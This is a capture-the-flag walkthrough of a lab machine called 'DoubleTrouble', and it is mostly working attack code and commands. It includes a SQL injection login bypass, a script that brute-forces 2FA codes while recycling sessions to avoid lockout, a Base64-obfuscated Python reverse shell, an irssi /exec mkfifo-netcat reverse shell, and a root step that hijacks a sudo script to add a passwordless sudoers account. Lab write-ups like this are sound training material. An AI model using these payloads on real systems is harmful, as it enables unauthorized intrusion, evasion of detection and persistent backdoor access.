Skip to main content

DoubleTrouble

1. Reconnaissance

Network Scanning

Initial reconnaissance performed with nmap to identify open ports:

export TARGET_IP=172.17.0.2
sudo nmap -p- $TARGET_IP

Findings:

PORT   STATE SERVICE
80/tcp open http

2. Web Application Exploitation

2.1 Authentication Bypass

Discovered SQL injection vulnerability in login form. Used boolean-based payload to bypass authentication:

USERNAME = "'OR 1=1;"  # SQLi payload
PASSWORD = "B0end" # Arbitrary password

Script Logic (2faBrute.py):

  • Maintains session cookies with requests.Session()
  • Implements session recycling every 3 attempts to avoid detection
  • Tests 4-digit 2FA codes sequentially
2faBrute.py
import requests
import sys

# Configuration
URL_LOGIN = "http://172.17.0.2/index.php"
URL_2FA = "http://172.17.0.2/2fa.php"
USERNAME = "'OR 1=1;"
PASSWORD = "B0end"
MAX_ATTEMPTS = 3
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"}
LOGIN_DATA = {"username": USERNAME, "password": PASSWORD}

session = requests.Session()

def login():
"""Handle initial authentication"""
print("[*] Attempting initial authentication...")
resp = session.post(URL_LOGIN, data=LOGIN_DATA, headers=HEADERS)
success = resp.status_code == 200 and "Verificación de 2FA" in resp.text
print("[+] Initial authentication successful." if success else "[-] Initial authentication failed.")
return success

def test_2fa(code):
"""Test a 2FA code"""
resp = session.post(URL_2FA, data={"code": code}, headers=HEADERS)
return resp.status_code == 200 and "Código incorrecto" not in resp.text

def brute_force_2fa(codes):
"""Bruteforce 2FA codes with session recycling"""
for i, code in enumerate(codes, 1):
print(f"[*] Testing: {code}")
if test_2fa(code):
print(f"[+] Valid code found: {code}")
return

if i % MAX_ATTEMPTS == 0:
print(f"[!] Max attempts reached ({MAX_ATTEMPTS}), reauthenticating...")
if not login(): return

if __name__ == "__main__":
if len(sys.argv) < 2:
sys.exit("Usage: python3 2faBrute.py <dictionary_file>")

try:
with open(sys.argv[1]) as f:
codes = [line.strip() for line in f]
except FileNotFoundError:
sys.exit(f"Error: File '{sys.argv[1]}' not found")

if login():
brute_force_2fa(codes)
print("[-] Bruteforce complete.")
generate2fadic.py
#!/usr/bin/env python3

with open("dictionary.txt", "w") as f:
f.write('\n'.join(f"{i:04}" for i in range(10000)))

print("Dictionary generated successfully")
python3 generate2fadic.py
python3 2faBrute.py dictionary.txt

Successful Code: 0150
Security Failure: Lack of 2FA attempt throttling and account lockout mechanisms.


3. Initial Access

3.1 Reverse Shell Upload

Discovered Python code upload functionality. Initial detection bypass via Base64 obfuscation:

encode_payload.py
import base64

# Original payload
payload = """
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.17.0.1",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
"""

# Encode the payload
encoded_payload = base64.b64encode(payload.encode()).decode()
print(encoded_payload)
python3 encode_payload.py # CmltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcwpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxNzIuMTcuMC4xIiw2NjY2KSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pCg==
revshell_obfuscated.py
import base64, os, socket, subprocess, time

# Obfuscated payload
encoded_payload = "CmltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcwpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxNzIuMTcuMC4xIiw2NjY2KSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pCg=="

exec(base64.b64decode(encoded_payload).decode())
note

You can also use an online tool for Python code obfuscation, but homemade stuff is cool.


4. Privilege Escalation

4.1 User Enumeration

id # uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls /home
# darksblack
# juan
# maci
find / -type f -user maci 2>/dev/null
# /var/backups/.maci/.-/-/archivo500.zip
cd /var/backups/.maci/.-/-/
python3 -m http.server 6666
Attacker Machine
wget http://$TARGET_IP:6666/archivo500.zip
unzip archivo500.zip
# Archive: archivo500.zip
# inflating: archivo499.zip

4.2 Zip Bomb Analysis

  • Automated extraction of 500 nested ZIP archives
unzip_machine.py
import zipfile
import os
import glob

current_zip = "archivo500.zip"

while os.path.isfile(current_zip):
if current_zip == "archivo0.zip":
print("Found archivo0.zip. Stopping the process. You can now analyze this file.")
break

try:
with zipfile.ZipFile(current_zip, 'r') as zip_ref:
zip_ref.extractall()
print(f"Extracted: {current_zip}")
except zipfile.BadZipFile:
print(f"Error: {current_zip} is not a valid zip file or is corrupted.")
except Exception as e:
print(f"An error occurred while extracting {current_zip}: {e}")

os.remove(current_zip)

zip_files = glob.glob("*.zip")
if not zip_files:
print("No more ZIP files found.")
break

current_zip = zip_files[0]

print("Finished unzipping process.")
  • Password cracking via zip2john + john (RockYou list):
python3 unzip_machine.py
zip2john archivo0.zip | john --wordlist=/usr/share/wordlists/rockyou.txt
# Password: 12345678
unzip archivo0.zip
cat pass.txt

Credentials Obtained:

maci:49392923
su maci
sudo -l # (darksblack) NOPASSWD: /usr/bin/irssi

4.3 Sudo Abuse Chain

Horizontal Escalation Path:

  1. macidarksblack:
sudo -u darksblack /usr/bin/irssi
Attacker Machine
nc -lvnp 1234
irssi
/exec rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 172.17.0.1 1234 > /tmp/f
  1. darksblackjuan:
id # uid=1001(darksblack) gid=1001(darksblack) groups=1001(darksblack),100(users)
sudo -l
# (juan) NOPASSWD: /usr/bin/python3 /home/juan/shell.py
# (juan) NOPASSWD: /bin/cat /home/juan/shell.py

Multi-Stage Payload Decoding (decode_script.py):

  • Extracted chr() obfuscated code
  • Decoded Base32 → Base64 nested encoding
  • Revealed reverse shell connecting to 172.17.0.183:5002
sudo -u juan /bin/cat /home/juan/shell.py > /tmp/shell.py
decode_script.py
import re
import base64
import argparse

def decode_shell_script(filepath=None, code_string=None, output_file=None):
"""
Decodes a Python script that uses chr() obfuscation and base32/base64 encoding.

Args:
filepath (str, optional): Path to the input file.
code_string (str, optional): The code as a string.
output_file (str, optional): Path to save the decoded code.

Either filepath or code_string must be provided.
"""
# Read the input code
if filepath:
try:
with open(filepath, 'r') as f:
code = f.read()
except FileNotFoundError:
print(f"Error: File not found at {filepath}")
return
elif code_string:
code = code_string
else:
print("Error: Either filepath or code_string must be provided.")
return

# Extract all chr() numbers
chr_matches = re.findall(r"chr\((\d+)\)", code)
if not chr_matches:
print("No chr() calls found in the code.")
return

# Decode to intermediate code string
decoded_string = ''.join([chr(int(n)) for n in chr_matches])

# Extract base32 encoded string from intermediate code
b32_pattern = r"base64\.b32decode\(['\"]([A-Za-z0-9=]+)['\"]\)"
b32_matches = re.findall(b32_pattern, decoded_string)
if not b32_matches:
print("No base32 encoded string found in the decoded code.")
return
encoded_b32 = b32_matches[0]

# Decode base32 and base64
try:
decoded_b32 = base64.b32decode(encoded_b32)
except Exception as e:
print(f"Error decoding base32: {e}")
return

try:
decoded_b64 = base64.b64decode(decoded_b32)
except Exception as e:
print(f"Error decoding base64: {e}")
return

# Save or display the result
if output_file:
try:
with open(output_file, 'wb') as f:
f.write(decoded_b64)
print(f"Successfully saved decoded code to {output_file}")
except Exception as e:
print(f"Error writing to file {output_file}: {e}")
else:
print("Decoded code:")
print(decoded_b64.decode('utf-8'))

if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Decode an obfuscated Python script with chr() and base32/base64 encoding.')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-f', '--file', help='Path to the input file.')
group.add_argument('-c', '--code', help='The code as a string.')
parser.add_argument('-o', '--output', help='Output file to save the decoded code.')
args = parser.parse_args()
decode_shell_script(filepath=args.file, code_string=args.code, output_file=args.output)
python3 decode_script.py -f /tmp/shell.py -o decoded_script.py
cat decoded_script.py
decoded_script.py
import sys
import os
import subprocess
import socket
import time

HOST = "172.17.0.183"
PORT = 5002

def connect(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s

def wait_for_command(s):
data = s.recv(1024)
if data == "quit\n":
s.close()
sys.exit(0)
# the socket died
elif len(data) == 0:
return True
else:

proc = subprocess.Popen(data, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
return False

def main():
while True:
socket_died = False
try:
s = connect(HOST, PORT)
while not socket_died:
socket_died = wait_for_command(s)
s.close()
except socket.error:
pass
time.sleep(5)

if __name__ == "__main__":
sys.exit(main())

Network Configuration:

Attacker Machine
sudo ip addr add 172.17.0.183/16 dev docker0 # Add address
ip addr show docker0 # Check
nc -lvnp 5002 -s 172.17.0.183 # Explicitly bind to the IP
Target Machine
sudo -u juan /usr/bin/python3 /home/juan/shell.py

4.4 Root Access

id # uid=1003(juan) gid=1003(juan) groups=1003(juan),100(users)
sudo -l # (ALL : ALL) NOPASSWD: /home/juan/mensajes.sh
ls -l /home/juan/mensajes.sh # -rwx--x--x 1 root root 181 Nov 21 21:03 /home/juan/mensajes.sh

Script Hijacking:

We could modify the script by removing and creating it again. I will add a new user and add him to the sudoers file.

rm /home/juan/mensajes.sh
echo 'useradd -s /bin/bash b0end && echo "b0end:mystrongpassword" | chpasswd && echo "b0end ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers' > /home/juan/mensajes.sh
chmod +x /home/juan/mensajes.sh
sudo /home/juan/mensajes.sh

5. Post-Exploitation

Root Access Confirmation:

su b0end # Password: mystrongpassword
su -i
id # uid=0(root) gid=0(root) groups=0(root)